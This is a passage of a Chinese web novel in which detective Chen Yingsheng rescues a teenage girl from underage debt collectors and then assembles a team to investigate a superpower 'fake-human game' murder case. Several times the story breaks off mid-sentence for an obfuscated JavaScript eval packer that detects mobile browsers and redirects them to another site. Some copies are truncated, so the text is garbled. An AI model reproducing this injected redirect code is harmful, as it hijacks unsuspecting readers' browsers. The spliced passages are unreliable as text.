他捡起一根黄瓜,罗莉娜伸手要接。 46. 侦探界的自行车 罗莉娜的动作被打断了。 “你有冷食类食品制售许可证吗?”陈影笙边喝汤边问。 罗莉娜的手缩了回去。 拍黄瓜是凉拌菜,属于冷食类食品制售范畴。 店家售卖此类产品,需要取得食品经营许可证,且许可证上需明确标注包含冷食类食品制售的经营项目。 未经许可制售冷食可能被罚款甚至吊销食品经营许可证。 这男的绝对知道后果,他是来碰瓷的职业打假人。 口罩男愠怒:“你市监局的啊?管这么多!” “对啊,我白天巡查,晚上喝汤。” 口罩男呆住了,但他很快反应过来:“你说是就是?那我还是阎王爷呢!” 陈影笙放下碗,舒舒服服地靠在塑料椅子上,她悠闲地说:“兄弟,你抬头看看。” 他头上正好有个监控摄像头。 “你带着口罩,被录上也没事,没人认得你,但你以后不来了吗?” “看她一个小姑娘独自看店,你觉得人家好欺负。你怎么不想想,她家能在这档口干十好几年,靠的是什么?” 口罩男还嘴硬:“不卖就不卖,我走!” 他弯腰去捡地上的黄瓜,陈影笙端着碗站起来,一脚踩上去:“老板,再来碗汤。” 口罩男愣住了,他保持弯腰的姿势,眼前是陈影笙的鞋子。 他僵硬地抬头,正好看见陈影笙从上向下打量他的眼神。 连黄瓜都不捡,口罩男转身就跑。 陈影笙把黄瓜捡起来,掸了掸上面的灰尘:“多好的黄瓜,给你,拿回家拍了吃。” 罗莉娜默不作声地接过黄瓜,给陈影笙盛满牛骨汤,开始收拾东西打烊。 等陈影笙又喝了小半碗汤,罗莉娜端着一碟牛肉和一盘拍黄瓜过来了。 “谢谢你。”罗莉娜坐在陈影笙对面。 陈影笙笑了笑,直接问:“为什么不读书了?” “读书能学会你刚才那招吗?” “不能。” “你怎么学会的?” 陈影笙忍俊不禁:“反正不是大学教的。” “所以读书没用,大学生也找不到工作,最后还不是回来继承我妈的米粉摊。” “也对,早干早退休。” 罗莉娜没想到陈影笙竟然赞成自己,她有些诧异地看了看陈影笙,好奇地问:“能不能和我聊聊,你大学读的什么专业?” “我学的数学。” “我以为你学的是刑事侦查学。” “警校里才教那个。”陈影笙回答,“我学数学是因为我叛逆。” 罗莉娜不明白:“叛逆的都学不好数学。” “因为我记忆力太好,老师让我去学文科。我叛逆,就要学理科,但对物化生都没兴趣,最后选了数学专业,结果还是躲不开大学物理。” 罗莉娜又问:“为什么做侦探,不研究数学或者进学校教书?” “我喜欢做侦探。” “我喜欢煮米粉。”罗莉娜仿句。 两个人对视一眼,都笑出声。 陈影笙夹了一片牛肉,吃完才说: “但是菜市场没了你的米粉摊很快会有下一个摊子,大学里少了你一个新生就真少了。” “你果然是来劝我回去上学的。”罗莉娜闷闷不乐。 “不怀疑我是你妈派来的?” 罗莉娜不接她的话。 “好吧,其实我也一样。侦探界没了我像鱼没了自行车,没有任何影响。我们这行一直如此,长江后浪推前浪。” “比如最近那个新人,又会破案长得又帅,叫......叫什么来着?”陈影笙故意装作忘了。 “公孙室!” “对,公孙室,你知道他?” “我朋友是他粉丝,给我看过照片。”罗莉娜突然抬头,“你长得不差,破案很厉害,为什么你没粉丝?” 罗莉娜借着头顶昏暗的灯打量眼前的名侦探。 她今天没穿休闲西装,只穿了一身运动衣,好像夜跑路过摊子吃夜宵。 但能看出她很好看,是一种极其有辨识度的好看。 “从前有,我那时脾气大,把记者骂了一顿,后来没了。” “哪个记者?” “不认识,拿相机拍我,也拍尸体和受害者家属。” 别是什么站哥站姐,罗莉娜想。 “说实在的,看在我是个过气侦探的份上,有什么委托都可以来找我。” “没有委托。” “你妈妈是我朋友,她如果生病了也可以找我。我虽然是侦探界的自行车,但混这么些年还是有点人脉的,给她找个好医生绝对没问题。” 罗莉娜突然抬头,定定地看着她。 “不是生病。” 陈影笙笑着回答:“不生病最好。” 趁着罗莉娜去扔垃圾,她给左絮飞发信息:你们有人盯罗莉娜家吗 左絮飞:我在盯着,她妈妈一直没出来 陈影笙:有没有办法直接进去?从罗春喜玩游戏开始,到今天已经三四天了,我怕出事 左絮飞:我们不好进,让街道派出所的民警去敲过门,里面安静极了,没人应门 陈影笙:昨天罗莉娜回家了吗 左絮飞:没回 陈影笙:她一直在菜市场的档口 米粉摊前来了个女孩,陈影笙假装回消息,实则偷偷观察女孩。 女孩看上去和罗莉娜差不多大,但比罗莉娜漂亮,穿的很时尚。 短裙长靴配光腿神器,上半身是件一尘不染的白羽绒服,脸上化着时下最流行的妆容。 她看起来和菜市场格格不入,比起菜市场,她更应该站在某个光鲜亮丽的大商场里。 去倒垃圾的罗莉娜很快回来了,莉娜很惊讶:“小小?” 罗莉娜的朋友?陈影笙猜测。 小小一把抓住罗莉娜的胳膊,拼命道歉:“莉娜,对不起,上次是我太冲动——” “有什么事直接说。”罗莉娜打断她,“你的事我断胳膊断腿都会帮,你男朋友的事不用和我说。” 小小咬住嘴唇,两行眼泪落下来:“你不帮我,我自己想办法......没钱我用别的还。” “他欠的钱管你什么事?立刻分手,躲一段时间,什么事都不会发生。” 罗莉娜解下围裙,转身进档口洗手。 “这次不一样,那些人要剁他的手。” “剁他的又不是剁你的。” 小小崩溃了:“你在记恨我吗!就因为我打你一巴掌?那是我不好,我道歉了!我们不是最好的朋友吗?” “我最好的朋友是你,不是你男朋友。” 小小的妆哭花了,她狠狠地说:“没人帮我,我自己还。” 罗莉娜不说话,小小走远了,她突然追上去:“你没钱,你用什么还?” “你管我!” “你等等。” 罗莉娜转身回档口,她穿上外套,往口袋里塞了什么,然后和陈影笙说再见,陪小小走了。 陈影笙微笑着目送她们。 等罗莉娜走远了,陈影笙毫不犹豫地跟在她们身后。 从二人的对话里不难推测,罗莉娜偷珍珠手链和离家出走都是为了小小。 小小喊罗莉娜帮忙,莉娜从家赶来,发现是她男朋友欠钱不还。 罗莉娜不是傻孩子,她明白好友和好友的男朋友是两码事,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434255|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻拿回手链拒绝给钱。 听到罗莉娜不愿意帮忙,小小崩溃之下给了她一巴掌,所以罗莉娜才会带着巴掌印回家。 但和罗莉娜不愿意上学天天玩伪人测试有什么关系?陈影笙想不通。 她远远地缀在两个女高中生身后,跟着她们走了半小时,来到老城区的一个垃圾站。 说是垃圾站其实不太确切,这里只是一个中转站。 一股刺鼻的垃圾味涌入鼻腔,陈影笙没跟上去,她躲在一辆垃圾车后面。 远处一个黄毛流里流气地喊:“三儿,你女朋友真爱你!她回来赎你了!” 外号叫“三儿”的男孩子被绑住手按在地上,好像刚挨过打。 陌生的矮壮男孩一脚踩在三儿的后背上,手里把玩着弹簧小刀。 坏了。 陈影笙暗叫不好。 这群人一眼看过去没一个成年的,情况坏到极点。 十六七岁的小孩,最是无法无天的年纪,大哥来了都得尊称他们一句小兄弟。 背地里对他们有个统称,叫“小青皮”。 “青皮”是蹲过监狱,被剃光头的人,“小青皮”指的是蹲监狱预备役。 小孩子心智不成熟、几乎没有法律意识,也不懂一些约定俗成的规矩。 比如催债这事,给大老黄办,他绝对不会绑人亮刀子,但小孩们就敢干。 有不少大哥喜欢养几个小青皮,给点钱喝酒吃肉,灌输些兄弟义气,关键时刻拿来见血。 陈影笙急得汗都出来了,她先给左絮飞打电话,报了地址并叮嘱他别穿警服。 等她打完电话,那边的黄毛围着矮壮男孩起哄:“树才哥,这俩女的不像带钱来的样子,不如我们......” 陈影笙后背湿透了,她立刻打大老黄的电话:“喂,你手底下有叫树才的小青皮吗?他摊上事了。” 大老黄唉声叹气:“大小姐唉,我不养那个,你知道我什么出身。” 实属问错人了,大老黄就是小青皮出身,他还帮老大顶过罪,他最恨养小青皮的老大哥。 “你知道现在还有谁养这个吗?” 大老黄微妙地停顿了一下:“知道。” 这是我不知道但我可以想办法知道,不一定有用只为还你人情的意思。 那边小青皮们已经把两个女高中生围上了,陈影笙急匆匆地说:“没事了,我先挂了。” 罗莉娜反应很快:“我拿钱来了。” 她从怀里掏出银蓝珍珠手链:“先抵债。” 黄毛相当夸张地表演了大吃一惊,在树才的带领下,所有人一齐狂笑。 “哈哈哈哈,你知道他欠多少吗?” “不知道。”罗莉娜很冷静,“这是小小给他的分手费,拿了手链,小小和他再也没有关系。” 她把手链扔三儿身上,用力拽了一把小小:“我们走。” 小小边哭边走,明显舍不得男朋友,但早已吓得不敢说话。 一群小青皮面面相觑,罗莉娜不按照他们的剧本走,他们有点懵。 树才觉得这女人没给自己面子,他说:“站住。” 罗莉娜真站住了,她转身大大方方地看着树才。 树才踢了踢三儿:“你和他什么关系?” “没有关系,你们快打死他。” 树才乐了:“说的好!” 他迅速变脸,瞪圆眼睛骂自己小弟:“愣着干嘛!人家小姐姐都开口了,打啊!” “走什么?你们也跟着一起打!” 树才笑着去抓罗莉娜的手腕,罗莉娜条件反射般侧身躲过,反手抓住他的小臂,将他拉了个趔趄。 “别给脸不要脸!”树才气得涨红脸,挥舞着弹簧小刀。 47. 救场 陈影笙急得拿起垃圾车旁的扫帚冲出去。 “别在这打架!妨碍道路消杀。” 正在打人的和正在挨打的都抬头看她。 黄毛问:“你谁啊你?” “我是垃圾中转站的职工,附近居民反应下水道里蟑螂太多,我们安排了大规模消杀,已经往井盖里打药了,蟑螂一会全出来。” “树才哥......” “今天先这样。”树才捡起珍珠手链,不忘放狠话,“三儿,你小子留下喂蟑螂,顺便想想怎么还钱。” 树才边走边抛手链,一抛一接之间,只听见嗖的一声响,珍珠手链不见了。 是左絮飞,他手里拿着一个青蛙玩具,玩具像是被赋予生命,青蛙嘴巴张开吐出舌头,把手链卷走了。 左絮飞穿着一件深蓝色带领的POLO衫,再加上天色足够暗,小青皮们没经验,看不出他是警察。 他说:“小兄弟谢谢你,这是我丢的手链。” 黄毛嚷嚷:“什么你的手链?那是别人给我们抵债的——” 树才一把按住黄毛的脖颈,打断他的话:“是你的你戴上。” 左絮飞真把手链戴上了,他对光欣赏:“好看。” 树才咬着牙挤出一句话:“走,他有超能力。” 小青皮们用仅剩的脑子判断出自己打不过超能力者,灰溜溜地逃走。 罗莉娜被突如其来的变故搞糊涂了,她警惕地看着越走越近的左絮飞,以为他是来黑吃黑的。 然后左絮飞尴尬地举起手:“解不开了。” 陈影笙上前查看,罗春喜的手链款式很老,龙虾扣微微生锈,确实打不开。 现在临近晚上十点,找不到还在营业的首饰店,手链只能先在左絮飞手上戴着。 “没关系。”罗莉娜主动说,“不着急还给我。” 她问陈影笙:“这位是?” “他是左絮飞。”陈影笙想了想,“我的朋友。” 罗莉娜点点头,向他们道谢,左絮飞先开车把小小和她男朋友送回家。 等车里只剩下三个人,陈影笙问:“小小是你的好朋友?” “对,我们小学是一个班的。” “你们看起来不太一样。”陈影笙委婉地说。 岂止不一样,她们简直是两个世界的人。 罗莉娜黑瘦又聪明,看上去是初中班里体育很好的学霸;小小漂亮且时尚,打扮得有些成熟,像是大学新生。 两个人站在一起,好像差了三四岁,很难想象她们是同龄人。 罗莉娜沉默片刻,还是说:“一样的。” “我小时候土里土气的。”她慢慢解释,“是连普通话都说不好的土,只有小小愿意和我玩。” 陈影笙幽幽地问:“你妈妈出事,她关心你了吗?” “是我没告诉她——不对,你怎么知道我妈出事了?” “莉娜,人都是会变的。”陈影笙很有耐心,“小学时和你玩的小小是她,现在一门心思找你要钱给男朋友还债的小小也是她。” “你改变不了小小,你只能改变你自己。” 罗莉娜看着车窗外,不愿意说话。 “你妈妈也会改变的,她遇上事情不愿意求助,但碰到真正解决不了的情况,还是需要别人的帮助。” 罗莉娜转过头看陈影笙。 “不一定要报警,说不定事情没坏到那种程度。你看,刚刚那群人多吓人,拿着刀绑着人,咱们没报警,靠自己脱困了。” 其实警察就坐在前面驾驶座上,但不能告诉罗莉娜。 经过很久的沉默,罗莉娜下定决心。 “我妈妈出事了,但我只愿意和你说。” 莉娜终于愿意吐露心声,左絮飞比陈影笙还高兴:“我把你们送回事务所,你们有什么话自己说。” 陈影笙简直头皮发麻,她不敢想象,如果真背着左絮飞单独和受害者家属谈话,这件事传到李颖耳朵里会发生什么。 双人在场的叫工作,单人谈话叫程序不合规,左絮飞刚转业,他可能不了解。 “不用避着他,他不是坏人,刚才还帮你抢回手链。” 虽然手链戴他手上摘不下来,陈影笙默默补充。 罗莉娜看看前面左絮飞的后脑勺,又看看旁边的陈影笙,恍然大悟: “他是你男朋友?” 陈影笙抢答:“对。” 驾驶座上的左絮飞耳朵红了。 对,他是我男朋友,所以我们两个要同时听你陈述案情。陈影笙专注地盯着罗莉娜,等她的反应。 罗莉娜思考一会,勉强同意了:“无所谓,既然他想听那就让他听,我说出来你们可能不信,当个故事吧。” 莉娜和小小是从小一起长大的好友,莉娜成绩好读了重点高中,小小不愿意读书早早出来工作。 小小是个未成年人,她的工作并不好找,所幸她有个远房表哥,开了一家剧本杀店,雇她做前台。 表面上说是妹妹来店里玩,不算工作人员,实际上每个月给1000元钱。 小小在店里干久了,不满足于只做前台,她想当主持人,还想当负责演绎的NPC。 但表哥说,如果她不做前台,必须给店里再找个前台。 然而开价1000的前台哪里好找,于是小小来求莉娜。 莉娜周六上午上完补习班,直接到店里坐前台写作业,小小如愿以偿地去当她的主持人。 这些事情罗春喜当然不知道,她甚至不知道剧本杀是什么东西,莉娜懒得和她讲。 前台不是忙碌的工作,莉娜早习惯了在嘈杂的环境中学习,倒也没什么不好。 新历98年12月18日是个周三,当天晚上一款叫伪人测试的游戏突然风靡全网。 莉娜晚自习后放学,坐公交车回家,打开手机才发现十好几条未接来电,全是小小的表哥打的。 “店长,是我,刚刚晚自习接不了电话。”莉娜拨回去。 “你怎么回事!”表哥劈头盖脸一顿怒吼,“伪人测试是你泄露出去的吗?” “什么伪人测试?” “虚竹老师写的新本啊!上周六刚在店里测完,除了测本的五个人,只有你在场。” 虚竹是剧本杀店的一位合伙人,是个剧本杀写手,但一部作品也没出版过。 莉娜懵了:“我都不知道他们玩的什么,剧本被泄露了?” “不是剧本,是游戏!开本前必玩的测试游戏被泄露了!” “我没泄露任何东西。”莉娜不被表哥的怒吼影响,“为什么不怀疑另外五个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她上周刚对我发过脾气,我不愿意回去上学,她把摊子扔给我,好几天不和我说一句话。” 左絮飞将车停在一条安静的道路旁,罗莉娜把门微微打开一条缝,让冷风透进来。 “但这次不一样,她不像不想理我,而是——” 陈影笙接话:“而是被游戏里的伪人控制住,不说话不出门,空耗7天等待死亡的降临。” 罗莉娜面色苍白:“她从自己的卧室里偷偷出来过,我前天晚上回家,发现银蓝珍珠手链被扔在大门口。” 左絮飞问:“手链什么来历,你知道吗?” “不知道,只知道她很早就有这条手链了,珍珠手链是她唯一的饰品,过年才戴。” 陈影笙和左絮飞对视。 “莉娜。”陈影笙郑重地说,“你有没有想过,网上的传言不是假的,确实有人因伪人游戏而死?” “我想过,我不觉得那是游戏,它像个被伪人寄生的诅咒物。” “没有什么诅咒物,也没有伪人,是超能力者作案。” 罗莉娜叹气:“但真的有隔屏幕杀人的超能力吗?如果有的话,超能力者为什么杀我妈妈?她只是个普通人。” 左絮飞说:“普通人不会抵触警察。” 罗莉娜抬头看他。 “为什么不报警?” 48. 我喊我自己 许久,莉娜才说:“我不知道。” “小时候,我家进过一个持刀抢劫的歹徒,我妈都没报警。” 她的声音开始颤抖变形:“我那时已经懂事了,发现我妈不愿意报警后,总怕她是什么通缉犯杀人狂,隐瞒身份和我生活在一起。” 陈影笙问:“如果她真的是呢?” “那她也是我妈妈。”罗莉娜不假思索地回答。 “报警。”陈影笙果断地说,“即使是刑事案件也有诉讼期,过了诉讼期无法追诉。” 当然,必须追诉的除外。但陈影笙不觉得一位十年如一日辛苦经营米粉摊的老板能是什么穷凶极恶的罪犯。 罗莉娜没有回答,她打开车门下车。 北方的冬天除了冷还很干燥,连空气都是干的,罗莉娜吸了几口冷空气,慢慢平静下来。 她问左絮飞:“网上说的是真的吗,有人因伪人游戏死了?” 左絮飞沉默地点头。 她又问:“你是警察吗?” 左絮飞再次点头。 “带我回警局吧,我愿意为警察提供证据,我会努力回想更多的细节。” “为什么?”左絮飞问。 “我不想妈妈死,也不想妈妈坐牢,更不想因为我耽误案情,让更多无辜的人死去。” “如果妈妈没受伪人影响,还愿意说话,她一定也会这样说,去警局吧。” 向上级汇报完,左絮飞忍不住问:“你怎么看出我是警察的?” “你单独看不像警察,但和你旁边的侦探小姐站在一起,没人不知道你是警察。” 陈影笙笑出声。 “一切都会变好的。”她向罗莉娜保证。 老王很快带着人来了:“先去接罗春喜。” “她愿意出来吗?”陈影笙很意外。 “她不愿意也必须接出来,几个案件全部合并,截至目前死亡人数高达8人,按重案调查。” 罗莉娜很紧张:“接去哪?” “市安定医院,超管局聘请的主任认为,罪犯拥有控制人脑或间接影响思维的超能力。” “上级相当重视,安排了超能力刑警轮番值守,该领域专家已经开过一次线上会议,不少有相关超能力的主任级医师正往诞江市赶,务必救下你妈妈。” 罗莉娜愣在原地,好久才说:“谢谢,对不起。” “道什么歉!”老王摆手,“你妈不报警又不是你的错。” 一队超能力刑警悄无声息地开锁进门,来到熟睡的罗春喜身边。 罗春喜惊醒了,她用一种听不懂的语言大喊大叫着什么。 随队前来的安定医院护士拿来拘束带,准备打镇定。 “你妈妈会象邦语?”守在门口的左絮飞震惊地问罗莉娜。 罗莉娜根本没搞清状况:“她在说什么?能不能别绑她?” 左絮飞上学时学过一点象邦语的作战用语,时至今日只记得一句话。 他生疏地用陌生的象邦语说:【不许动!】 罗春喜真的不动了,护士给她打镇定,她透过人群的空隙寻找刚刚说象邦语的人。 在门口的一群人中,罗春喜看见一只戴着银蓝珍珠手链的手。 罗春喜惊喜地大喊:“罗春喜!” 三个字是用象邦语的发音喊出的中文词汇,所有人都听懂了,但没人知道她为什么喊自己名字。 紧接着,强效镇定生效,罗春喜陷入昏迷。 老王问左絮飞:“你刚才说什么?” “不许动,我只会这一句。” 陈影笙顺着罗春喜昏迷前的视线,锁定左絮飞手上的珍珠手链。 “她是不是看见你戴手链,把你认成别人了?” “可她喊的是罗春喜。” 老王一锤定音:“带着执法记录仪,回去找翻译。” 有刑警报告:“王队,收集到超能力残留物!” “好,先送到诞江大学。” 老王带着剩余的人回超管局,罗莉娜被带去做笔录,大家集合到会议室开会。 李颖像是三天没睡,她疲惫地说:“情况复杂到诡异的程度。” 事情要从万花筒中幻忆师收到兼职指南说起。 幻忆师在万花筒中忙碌,超管局的警察们在现实中奔波。 网络安全组负责调查自由落体两个原则的群内人员,特别行动队立刻出发去寰宇大厦。 他们分头行动,一部分人找到物业公司的男经理,男经理有充分的证据说明自己那晚没去找保安老吴。证明陈影笙的推理正确,剑侠拥有变形能力。 另一部分人赶到寰宇大厦,发现大厦里什么也没有。 “是没有尸体吗?”陈影笙问。 “字面上的意思,什么也没有,连从1楼到13楼的坑洞都没有。” 陈影笙陷入沉思。 “空间类超能力?那晚发生的一切总不能是任珊珊在做梦吧?” “合理的猜测,但全国范围内所有登记在册的空间类超能力者,没有一人能做到这种程度。” “我有一种奇怪的感觉。”陈影笙坐直身体,“只要是和Agape沾边的超能力者,他们都比普通能力者强。” “强到奇怪。”左絮飞赞同,“很多能力像是新历前玄幻小说里写的。” 在座的其他几位警察也点头。 老王训斥:“别长他人志气灭自己威风,看你们的报告!” 众人低头看报告。 那晚的4具尸体下落不明,他们都是社会边缘群体,没人知道他们死了。 一天一苹果本名宋婧慈,原是某大型医院的精神科医生,任职期间突然发生医疗失职行为。 她故意将没痊愈的精神病患者判断成已痊愈,间接导致一起恶劣的案件,被医院开除并吊销执业医师资格证。 然后她带着仅剩的存款来到诞江市,组建自由落体的两个原则,靠存款和零工维持生计。 没人知道她为什么失职,也没人知道她为什么建群,更不知道她死前经历过什么。 宋婧慈消失后无人报案,目前只能查到半个多月前她从租住的小区离开的一段监控。 郑海彬和白茶的死更无人在意,他们都没有家人。 至于威士忌,他没有说谎,他确实顶替David来参加兼职。 他生前因加杠杆炒外币,欠了一屁股债,妻子和孩子早已离开他。 他供职的保险公司联系不上他,很随意地报了警,按失踪人员处理。 关于阿律的调查是网络安全组做的,他们查出阿律登录扣扣用的手机,一路顺瓜摸藤找到手机的购买者。 购买者是位在红枫国际学校上高中的富家千金,她听说警方因手机的事找她,竟然很高兴: “太好了,是抓到骗我手机的代肝了吗?” 千金不是阿律,她在网上认识一个游戏代肝,被代肝骗去一部手机。 手机里的SIM卡是千金的名字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话说到这,一个小警察慌张进来报告:“李队王队,突然有好多记者堵门口。” 李颖简洁回答:“不接受采访。” 等小警察走了,李颖苦笑:“就是这样。” 虚竹人在国外,因时差原因联系不上,即使联系上了,也很难确保他说的是实话。 没有确凿的证据能证明他参与设计伪人测试杀人,不符合引渡条例,没法把他抓回国内。 案件再次进入死胡同,唯一的期望似乎只剩下罗春喜的万花筒。 陈影笙问:“真的有叫唯我的人吗?她还活着?” “正在调查,任珊珊村里的那起案件也派人去和当地沟通了。” 众人轮番发表了一些意见,会议室陷入沉默。 李颖安慰大家:“不是没有突破口,小马正在让罗莉娜识别涉案人员,看看有没有她在店里见过的人;专家们也在往诞江赶,已经有超能力医生拿出一套治疗方案。” “都打起精神!”老王也说,“事情总会出现转机。” 大家散会。 陈影笙私下问老王:“游戏里的伪人女孩,她真的不是现实中存在的人吗?” “查过了。”老王显出一点疲态,“都查过了,不止查了诞江的烧伤病人。” “我们开始下手查整容科,但医生说大范围烧伤整也整不好。” “要是能发公告让社会面一起帮忙就好了。”陈影笙像是自言自语。 老王苦笑。 说起来简单做起来难,发公告找人无异于承认伪人游戏致死,怕引起大范围恐慌进而导致恶性事件。 老王的手机响了,他走出会议室。 过了一会儿,老王带着李颖回来。 他宣布:“可以进罗春喜的万花筒了。” 所有人都松了口气。 “但需要6个人。” 49. 啊? 从罗春喜身上收集到的超能力残留物极其不稳定,构建出的万花筒只能供警方一次性使用,且需要6个人同时进入。 短短两天内,陈影笙用万花筒破了三个案子,让隐藏于暗处的Agape浮出水面。 万花筒对超管局的重要性不言而喻。 找6个人进万花筒再简单不过,会议室里能立刻拉出6个。 然而谁也没想到,罗春喜的万花筒是一次性的,需要6个既有实力又靠谱的“自己人”一同进入。 这事不需要老王操心,神秘的万花筒足够吸引无数有名望的人下场。 但王锐斌还是紧锁眉头,背着手一圈一圈地转悠。 转到第七圈,他像是下定某种决心,出去打了足足一小时电话,然后把左絮飞拽出去。 “最后一个名额,我报的你。” “啊?”左絮飞刚睡醒,他昨晚一直盯着罗春喜家,刚才好不容易找到时间补觉。 他头发凌乱,看上去愣头愣脑的,实在不像能委以重任的样子。 他指着自己:“我进万花筒?” “你算是我看着长大的。”老王反复打量他的狼狈模样,反而放心了,“我相信你。” 老王斟酌着语句:“一会过来的几个人在局里都有关系,他们是一等一的聪明人,这方面你比不上人家。” 左絮飞摸了摸脖子,没反驳老王的话,他的睡意完全散去:“为什么报我?” “聪明不代表有人性。” “什么意思?不是还有陈影笙吗?” 老王笑了:“这方面我不放心她,我只放心你。” “当万花筒抹去所有人的记忆,大家都只靠本能时,你的良知会压倒一切。” “我相信,你可以做到,他们做不到。” 左絮飞懵懵懂懂地听着,他想说王叔你对我评价太高,我可能做不到。 但面前的王锐斌看上去真的很疲惫,到嘴边的话语被左絮飞咽下去,他默默地立正敬礼。 老王帮他理顺乱翘的头发,用力拍了拍他的肩膀,没再说多余的话。 很快有人到了。 来的是位警校生,她看上去刚成年,剪着齐耳短发,脸颊上还有点婴儿肥。 以当下的审美来说,她长得不漂亮,但有一双明亮得恰到好处的眼睛。 那双眼睛既没有攻击型的锐利光芒,不会让人感到压迫和不安;又不亮得零碎,令人误以为其主人精于算计和阴谋。 它们只是恰到好处地亮着,让看到的人感觉舒服明朗,产生自然的亲切感。 老王把她接进来,给众人介绍: “季双,我们诞江警察学院的优秀学生,她有个广为人知的身份——明目侦探。” 明目声音清脆地打招呼,陈影笙含笑看着她。 陈影笙对明目侦探并不陌生,明目高中时就很有名,她的超能力是明辨谎言,天生适合干这行。 但陈影笙没想到明目会读警察学院,她一直以为小姑娘要成为独立侦探。 明目做完自我介绍,坐到陈影笙身边:“我们要干什么?是有案子吗?” “等人齐了王队宣布。”陈影笙好奇地问,“你在学校读什么专业?” “超能力犯罪学。” “学校新开的专业?” 明目用力点头。 二十多年前就有专家呼吁开立专门研究超能力犯罪的专业。 可惜该提案一直因种种原因被搁置,不少人觉得培养出的超能力刑警足够应对绝大多数问题。 据陈影笙所知,本市公安局局长到任后,一直大力推进超能力犯罪学在诞江警察学院的试点项目建设。 明目作为该专业第一批学生,超能力极其有用,又积攒一定的名声,才被派来参与罗春喜的万花筒。 她们没聊两句,下一位参与者到了。 进来的是位刚见过的熟面孔,白马侦探石传盛。 他和怪谈报纸上的照片相比老了不少,仍然穿着一身白西装配夸张的领带。 陈影笙不动声色地向他背后看,白马侦探早退居二线做侦探事务所的老板,他不会亲自进万花筒。 果然,一位穿着铅灰色西装的年轻人从他身后走出来。 老王哈哈大笑着拍白马的后背:“不用介绍,他是你徒弟双面侦探,我们都知道!” 双面侦探公孙室,今年业界冉冉升起的一颗新星,其人长得斯文俊美,破案时却狂气逼人,被粉丝冠以“双面”的称号。 公孙室推了推无框眼镜,礼貌地同会议室中所有人打招呼。 他径直向陈影笙走来。 左絮飞一屁股坐陈影笙旁边。 公孙室在陈影笙面前停下:“久闻大名,幻忆师。” 陈影笙也站起来:“哪里哪里,都是虚名。” 两人客套了一番,公孙室很自然地把话题带到诞师大传染性精神病事件,像是打算长篇大论地聊下去。 “坐下聊。”陈影笙提醒他。 公孙室好像才发现陈影笙旁边的左絮飞:“这位是?” “我是左絮飞,本次案件的参与者。”左絮飞主动回答。 他压下头上又翘起来的一撮毛:“站着多累,不坐下吗?” 公孙室微笑着看他。 明目像是才发现远处的李颖,她走过去亲热地和她的李颖学姐打招呼,远离这个是非之地。 公孙室在明目的位置坐下。 会议室又进来一位侦探,李颖带着明目过去迎接。 侦探的声音很好听:“江映辉,侦探柔语者,在座的各位我都认识。” 柔语者称号来自江映辉的超能力,她的能力叫真心话,在双方一问一答且都用真话回答问题后,江映辉可以催眠对方问一个问题。 催眠过程及问题对方事后无记忆,是个好用但不实用的超能力。 柔语者今年45岁,她成名较晚,破案不靠超能力,更多靠侦探的基本功,是位很厉害的人物。 好几年前,她被超管局聘请为犯罪学与审讯学专家参与办案,同时,她也在警察学院教课。 听说她近几年不再做侦探工作,主要在学校教书,偶尔当顾问。 陈影笙等人上前迎接,大家都默认柔语者是本次行动中资历最老的。 不料柔语者问:“霍老师没来吗?” 陈影笙很吃惊。 霍老师全名霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478158|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弘毅,是位不需要称号的侦探,媒体叫他“夜空中的启明星”。 霍弘毅的人生经历足够写成一部探案集。 他今年68岁高龄,已经退休回家了,连警察学院的聘请都不理,不知道谁能请动他。 大家围在柔语者旁边,等来了霍弘毅,他是个其貌不扬的小老头。 “不好意思来晚了。” 霍弘毅来了先道歉。 “没晚,我们是不是还差一个人?”柔语者问李颖。 “人齐了。” 柔语者面露不解。 老王一拍大腿:“我忘了介绍,这是左絮飞,参与今晚行动的刑警,他的超能力是幻想造物。” 侦探们不明所以地看着他。 左絮飞简单解释:“我能用玩具把幻想中的能力变成现实。” 大家还是不明所以,但没表现出来。 左絮飞的能力听上去很适合对付狂徒那样的超能力罪犯,但不适合破案。 陈影笙站在会议室的一角,细数将要进入罗春喜万花筒的6个人,发现一个有趣的事实: 季双,侦探明目,18岁。 公孙室,侦探双面,23岁。 陈影笙,侦探幻忆师,27岁。 左絮飞,超能力刑警,27岁。 江映辉,侦探柔语者,45岁。 霍弘毅,夜空中的启明星,68岁。 不得不承认,安排6个参与者的人水平很高,找齐了不同年龄段不同性别的侦探。 众人落座,李颖先收手机。 “不是不信任大家,我们自己的通讯设备也都暂时上交了。” 陈影笙乖乖把手机交上去。 明目小声问:“之前也这样吗?” “不是,可能要签保密协议。”陈影笙猜测。 果不其然,一式六份的保密协议被放在桌子上。 其中包含了对仪器万花筒的部分介绍,还有强行唤醒的后果,要求参与者自己承担风险。 坐在陈影笙旁边的公孙室飞快看完整份协议,毫不犹豫地签字,他来之前早已做好准备。 ...... “赞美将诞未诞之神。” 